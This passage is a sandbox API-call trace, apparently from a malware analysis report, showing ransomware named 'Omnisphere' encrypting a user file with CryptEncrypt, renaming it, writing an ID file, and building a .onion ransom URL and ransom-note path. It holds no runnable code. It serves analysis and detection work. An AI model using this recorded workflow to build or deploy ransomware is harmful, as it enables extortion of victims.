GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.358] GetTickCount () returned 0x115f885 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] GetTickCount () returned 0x115f895 [0126.358] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.359] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.359] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.359] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.359] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.359] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x471, lpName=0x0) returned 0x288 [0126.359] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x471) returned 0x1480000 [0126.359] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0126.360] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0126.360] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.360] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.361] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.362] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.363] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.363] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.363] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x471, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.363] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.363] GetProcessHeap () returned 0x1600000 [0126.363] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16ca3b8 [0126.363] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k2bnd0qt1gxokgx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k2bnd0qt1gxokgx.lnk.omnisphere")) returned 1 [0126.365] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk.omnisphere.id" [0126.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k2bnd0qt1gxokgx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.367] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.368] CloseHandle (hObject=0x3c0) returned 1 [0126.368] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.368] CloseHandle (hObject=0x288) returned 1 [0126.368] SetEndOfFile (hFile=0x28c) returned 1 [0126.368] FlushFileBuffers (hFile=0x28c) returned 1 [0126.371] CloseHandle (hObject=0x28c) returned 1 [0126.371] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.371] GetProcessHeap () returned 0x1600000 [0126.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.371] GetProcessHeap () returned 0x1600000 [0126.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d57a8 [0126.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d57a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.371] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.371] GetProcessHeap () returned 0x1600000 [0126.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0268 [0126.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0268, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.371] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.371] GetProcessHeap () returned 0x1600000 [0126.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf808 [0126.371] PathCombineW (in: pszDest=0x16bf808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.371] GetProcessHeap () returned 0x1600000 [0126.372] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) 